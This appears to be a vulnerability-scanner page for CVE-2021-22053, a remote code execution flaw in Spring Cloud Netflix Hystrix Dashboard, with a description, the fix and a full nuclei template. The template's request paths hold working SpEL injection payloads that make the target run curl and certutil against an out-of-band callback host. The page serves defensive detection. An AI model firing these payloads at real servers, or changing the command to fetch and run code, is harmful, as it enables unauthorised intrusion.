Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution

highseverity

8.8CVSS score

13.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both `spring-cloud-netflix-hystrix-dashboard` and `spring-boot-starter-thymeleaf` expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Upgrade to Spring Cloud Netflix Hystrix Dashboard version 2.2.10 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("curl http://{{interactsh-url}}")}__::.x/ ; GET {{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("certutil -urlcache -split -f http://{{interactsh-url}}")}__::.x/
Positive when: contains in interactsh_protocol "http" AND matches in interactsh_request /User-Agent: (curl|CertUtil)/

Run it with nuclei: nuclei -id CVE-2021-22053 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-22053

info:
  name: Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution
  author: forgedhallpass
  severity: high
  description: |
    Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both `spring-cloud-netflix-hystrix-dashboard` and `spring-boot-starter-thymeleaf` expose a way to execute code submitted within the request URI path during the resolution of view templates.  When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade to Spring Cloud Netflix Hystrix Dashboard version 2.2.10 or later to mitigate this vulnerability.
  reference:
    - https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053
    - https://tanzu.vmware.com/security/cve-2021-22053
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22053
    - https://github.com/trhacknon/Pocingit
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-22053
    cwe-id: CWE-94
    epss-score: 0.13235
    epss-percentile: 0.96411
    cpe: cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: vmware
    product: spring_cloud_netflix
  tags: cve,cve2021,rce,spring,vmware,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("curl http://{{interactsh-url}}")}__::.x/'
      - '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("certutil -urlcache -split -f http://{{interactsh-url}}")}__::.x/'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: regex
        part: interactsh_request
        regex:
          - 'User-Agent: (curl|CertUtil)'

References

Use this check only on systems you are authorised to test. Where the data comes from